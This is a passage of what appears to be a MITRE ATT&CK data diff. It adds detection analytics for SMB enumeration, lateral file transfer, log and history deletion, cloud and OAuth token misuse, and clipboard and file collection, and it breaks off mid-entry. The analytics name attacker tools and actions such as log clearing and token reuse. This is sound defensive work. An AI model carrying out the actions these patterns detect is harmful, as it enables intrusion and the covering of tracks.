"x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \"sharing -l\", \"smbutil view\", \"mount_smbfs\"" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Command line contains smbutil view //, mount_smbfs //" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Firewall", + "channel": "Outbound connections to 139/445 to multiple destinations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "connection: SMB connections to multiple internal hosts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BurstHostThreshold", + "description": "Minimum unique SMB destinations (e.g., \u22653\u20135 in smaller mac fleets)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between exec and SMB connections (default 10m)." + }, + { + "field": "AllowedMgmtTools", + "description": "Jamf/IT scripts legitimately running smbutil/mount_smbfs." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ce0f284b-f8d9-4cb0-84ad-97e1e8390d0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0183#AN0516", + "external_id": "AN0516" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0516", + "description": "Correlate suspicious file transfers over SMB or Admin$ shares with process creation events (e.g., cmd.exe, powershell.exe, certutil.exe) that do not align with normal administrative behavior. Detect remote file writes followed by execution of transferred binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5140" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time period between file transfer and execution used to correlate events" + }, + { + "field": "UserContext", + "description": "Accounts allowed to perform legitimate administrative transfers" + }, + { + "field": "FilePathWhitelist", + "description": "Exclude known legitimate software update directories" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--24af9441-602e-4202-a2e7-04a46c008406", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0183#AN0517", + "external_id": "AN0517" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0517", + "description": "Monitor scp, rsync, curl, sftp, or ftp processes initiating transfers to internal systems combined with file creation events in unusual directories. Correlate transfer activity with subsequent execution of those binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Invocation of scp, rsync, curl, or sftp" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "create: New file created in system binaries or temp directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTools", + "description": "Define legitimate transfer utilities expected in the environment" + }, + { + "field": "DestinationDirectories", + "description": "Restrict to suspicious or non-standard directories for transferred files" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--34d6af16-fe37-458c-b15c-413ff2d5b2f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0183#AN0518", + "external_id": "AN0518" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0518", + "description": "Detect anomalous use of scp, rsync, curl, or third-party sync apps transferring executables into user directories. Correlate new file creation with immediate execution events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of scp, rsync, curl with remote destination" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "File created in ~/Library/LaunchAgents or executable directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyncApplications", + "description": "Whitelisted apps like Dropbox or OneDrive if sanctioned" + }, + { + "field": "EntropyThreshold", + "description": "Adjust threshold for unusual filenames/hashes transferred internally" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f8857048-181f-4883-a50b-65aca5204228", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0183#AN0519", + "external_id": "AN0519" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0519", + "description": "Identify lateral transfer via datastore file uploads or internal scp/ssh sessions that result in new VMX/VMDK or script files. Correlate transfer with VM execution or datastore modification.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "esxi:vmkernel", + "channel": "Upload of file to datastore" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "scp/ssh used to move file across hosts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreWhitelist", + "description": "Known authorized paths for legitimate VM operations" + }, + { + "field": "TransferProtocol", + "description": "Protocols allowed for intra-VM host transfers" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4416c78b-902b-4baa-9a5d-26f0b7e5d78d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0520", + "external_id": "AN0520" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0520", + "description": "Monitors sequences involving deletion/modification of logs, registry keys, scheduled tasks, or prefetch files following suspicious process activity or elevated access escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Security", + "channel": "EventCode=1102" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate indicator removal within X mins after persistence/setup activities" + }, + { + "field": "TargetFilePathPattern", + "description": "Customize detection to log file paths or common registry hives" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1fbe9da1-a760-4ac9-8ab0-59203a50fb82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0521", + "external_id": "AN0521" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0521", + "description": "Detects deletion or overwriting of bash history, syslog, audit logs, and .ssh metadata following privilege elevation or suspicious process spawning.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "unlink, rename, open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:cli", + "channel": "cleared or truncated .bash_history" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Adjust based on syslog/auditd file paths (/var/log/messages, /var/log/audit/audit.log)" + }, + { + "field": "UserContext", + "description": "Scope to root/sudo usage or anomalous user behavior" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f0f5c7a-18ee-462e-b364-b1d8df3b2c02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0522", + "external_id": "AN0522" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0522", + "description": "Detects clearing of unified logs, deletion of plist files tied to persistence, and manipulation of Terminal history after initial execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "log stream cleared or truncated" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "fs:fsusage", + "channel": "unlink, fs_delete" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "File modifications in ~/Library/Preferences/" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistTargetPaths", + "description": "Define which plist paths relate to LaunchAgents or LaunchDaemons" + }, + { + "field": "ExecutionChainDepth", + "description": "Allow tuning for multi-process persistence chains" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b3d533fc-010a-4ee8-b234-80f98e2443a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0523", + "external_id": "AN0523" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0523", + "description": "Monitors tampering with audit logs, volumes, or mounted storage often used for side-channel logging (e.g., /var/log inside containers) post-compromise.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "docker:daemon", + "channel": "container file operations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "ebpf:syscalls", + "channel": "Unexpected container volume unmount + file deletion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogMountPaths", + "description": "Tune based on how logs are exported (bind-mount, overlay)" + }, + { + "field": "ContainerLabelScope", + "description": "Limit detection to suspicious containers or runtime classes" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f9b13a61-0110-4882-9384-3468d22ac221", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0524", + "external_id": "AN0524" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0524", + "description": "Tracks suspicious use of ESXi shell commands or PowerCLI to delete logs, rotate system files, or tamper with hostd/vpxa history.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "esxi:hostd", + "channel": "rm, clearlogs, logrotate" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogSourceType", + "description": "Tune per vCenter, vSphere, ESXi CLI telemetry collection" + }, + { + "field": "LogPathPattern", + "description": "Target specific high-value log paths (e.g., /var/log/hostd.log)" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c15d6b5e-bbb7-4dc7-8b59-8ce2c0663c05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0525", + "external_id": "AN0525" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0525", + "description": "Detects deletion or hiding of security-related mail rules, audit mailboxes, or calendar/log sync artifacts indicative of tampering post-intrusion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", + "name": "m365:exchange", + "channel": "Remove-InboxRule, Clear-Mailbox" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "PurgeAuditLogs, Remove-MailboxAuditLog" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetMailboxScope", + "description": "Limit by VIP mailboxes or external-facing users" + }, + { + "field": "AuditLogDepth", + "description": "Tune for log deletion following lateral movement" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--43ccb88d-8d8a-4ddb-9ffd-3d897fba76a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0185#AN0526", + "external_id": "AN0526" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0526", + "description": "Use of AWS STS or GCP IAM APIs to request temporary tokens or federation sessions inconsistent with normal account activity, including from unexpected principals or regions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "AWS:CloudTrail", + "channel": "AssumeRole, GetFederationToken, GetSessionToken" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "sts:GetFederationToken" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoIPDistanceThreshold", + "description": "Distance between token creation and resource use locations" + }, + { + "field": "RoleScope", + "description": "Limit scope of acceptable role assumptions by account type" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d203b007-e462-4842-82ce-c97f52c17e39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0185#AN0527", + "external_id": "AN0527" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0527", + "description": "OAuth or SAML access tokens reused across multiple sessions or clients without corresponding MFA or login activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "azure:signinlogs", + "channel": "TokenIssued, RefreshTokenUsed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:unified", + "channel": "Delegated permission grants without user login event" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFAEnforcement", + "description": "Ensure MFA context exists prior to token issuance" + }, + { + "field": "TokenReuseWindow", + "description": "Maximum acceptable window for refresh token reuse" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dfad1a86-de44-40b2-95b5-9b18c4103cbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0185#AN0528", + "external_id": "AN0528" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0528", + "description": "Application access tokens used to call APIs (e.g., Google Workspace, Salesforce) without interactive logins, often with unusual scopes or elevated permissions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "saas:googleworkspace", + "channel": "OAuthTokenGranted, APIRequest" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:salesforce", + "channel": "API login using access_token without login history" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationScopeAllowlist", + "description": "Restrict allowed API scopes for enterprise applications" + }, + { + "field": "TokenLifetime", + "description": "Threshold for detecting unusually long-lived tokens" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9680d434-3470-4a35-bf48-1785ab14d831", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0185#AN0529", + "external_id": "AN0529" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0529", + "description": "OAuth token usage for Exchange Online or SharePoint API access without preceding login or from unauthorized clients.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "m365:unified", + "channel": "OAuthTokenIssued, FileAccessed, MailItemsAccessed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ClientAppIDWhitelist", + "description": "Restrict trusted Office apps authorized to request tokens" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--03216652-ada9-4c1e-88c4-923c2cb60614", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0185#AN0530", + "external_id": "AN0530" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0530", + "description": "Compromised service account tokens mounted inside containers and reused for external API calls or lateral movement across services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "kubernetes:apiserver", + "channel": "serviceAccount token used in API requests not tied to workload identity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "AssumeRoleWithWebIdentity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NamespaceScope", + "description": "Restrict token use to specific namespaces or workloads" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--29433de9-360e-4189-9f6d-fb00c9a57e41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0186#AN0531", + "external_id": "AN0531" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0531", + "description": "Automated execution of native utilities and scripts to discover, enumerate, and exfiltrate files and clipboard content. Focus is on detecting repeated file access, scripting engine use, and use of command-line utilities commonly leveraged by collection scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the lookback period for identifying burst activity or patterns in process/file events." + }, + { + "field": "SuspiciousFileExtensions", + "description": "Tunable list of file extensions associated with collection (e.g., .pdf, .docx)." + }, + { + "field": "ProcessCountThreshold", + "description": "The number of times a process executes before considered anomalous." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--70df3731-9576-4450-bd32-0f52cc8f0ec3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0186#AN0532", + "external_id": "AN0532" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0532", + "description": "Repeated or automated access to user document directories or clipboard using shell scripts or utilities like xclip/pbpaste. Detectable via auditd syscall logs or osquery file events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessPath", + "description": "Tunable location for sensitive files like /home/*/Documents." + }, + { + "field": "ScriptInterpreterList", + "description": "Shells or 